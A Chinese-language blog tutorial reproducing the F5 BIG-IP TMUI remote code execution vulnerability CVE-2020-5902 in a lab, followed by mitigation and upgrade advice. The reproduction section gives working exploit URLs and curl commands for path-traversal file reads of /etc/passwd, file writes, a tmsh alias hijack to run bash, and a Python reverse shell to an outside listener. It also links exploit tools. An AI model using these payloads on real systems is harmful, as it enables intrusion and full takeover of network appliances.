这篇文章给大家介绍怎么实现F5 BIG-IP远程代码执行漏洞CVE-2020-5902的复现,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。
0x00简介
F5 BIG-IP 是美国“F5公司一款集成流量管理、DNS、出入站规则、web应用防火墙、web网关、负载均衡等功能的应用交付平台。 在F5 BIG-IP产品的流量管理用户页面 (TMUI)/配置程序的特定页面中存在一处远程代码执行漏洞,导致可以未授权访问TMUI模块所有功能(包括未公开功能),漏洞影响范围包括执行任意系统命令、任意文件读取、任意文件写入、开启/禁用服务等。
0x02漏洞概述
攻击者可利用该漏洞执行任意系统命令、创建或删除文件、禁用服务、执行任意的Java代码,可获取shell完全控制目标系统。
0x03影响范围
F5 BIG‐IP 15.1.0
F5 BIG‐IP 15.0.0
F5 BIG‐IP 14.1.0‐14.1.2
F5 BIG‐IP 13.1.0‐13.1.3
F5 BIG‐IP 12.1.0‐12.1.5
F5 BIG‐IP 11.6.1‐11.6.5
0x04环境搭建
1.在F5官网注册登录下载试用即可。
https://downloads.f5.com/esd/ecc.sv?sw=BIG-IP&pro=big-ip_v15.x&ver=15.1.0&container=Virtual-Edition
2.然后随便选择一个下载地区,下载即可
3.下载完成后,使用VMware导入安装
VMware左上角‘文件’->‘打开‘选择下载好的文件
4.配置方面看自己的选择导入后启动即可系统默认账户:root/default登陆后需要修改默认密码
5.输入config,配置配置ip地址,点两次回车键即可
6.设置完IP后访问一下链接出现登录页面安装成功 //注要https加IP
https://172.16.1.186/tmui/login.jsp
0x05漏洞复现
1.登录管理页面既是漏洞存在的地方,我们使用poc进行测试文件读取:
https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/hosts
2.写入文件
curl -k -H "Content-Type: application/x-www-form-urlencoded" -X POST -d "fileName=/tmp/success&content=东塔网络安全学院" "https://172.16.1.200/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp"
3.读取文件
curl -k "https://172.16.1.200/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/tmp/success"
4. 修改alias劫持list命令为bash
curl -k "https://172.16.1.200/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+list+command+bash"
4.1 写入文件:bash文件
https://172.16.1.200/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp?fileName=/tmp/test&content=id
4.2 执行bash文件
https://172.16.1.200/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+/tmp/test
注:因为权限不足无法完成此步操作,在实际环境中可以尝试
5.反弹shell,写入python反弹shell
https://172.16.1.200/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp?fileName=/tmp/shell&content=python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('172.16.1.132',7856));<br>os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
使用kali做监听
执行以下命令反弹shell //没有权限这里没有反弹成功,可在实际环境中测试
6.利用工具
https://github.com/theLSA/f5-bigip-rce-cve-2020-5902
https://github.com/Critical-Start/Team-Ares/tree/master/CVE-2020-5902
0x06修复建议
1、官方建议可以通过以下步骤暂时缓解影响(临时修复方案)
1.1使用以下命令登录对应系统:tmsh
1.2编辑 httpd 组件的配置文件;
edit /sys httpd all-properties
1.3文件内容如下 include ' <LocationMatch "…;."> Redirect 404 / </LocationMatch> '
1.4按照如下操作保存文件;
按下 ESC 并依次输入:wq
1.5执行命令刷新配置文件;
save /sys config
1.6重启 httpd 服务。
restart sys service httpd 并禁止外部IP对 TMUI 页面的访问。
2、升级到以下版本
BIG-IP 15.x: 15.1.0.4
BIG-IP 14.x: 14.1.2.6
BIG-IP 13.x: 13.1.3.4
BIG-IP 12.x: 12.1.5.2
BIG-IP 11.x: 11.6.5.2
关于怎么实现F5 BIG-IP远程代码执行漏洞CVE-2020-5902的复现就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。
原创文章,作者:306829225,如若转载,请注明出处:https://blog.ytso.com/220485.html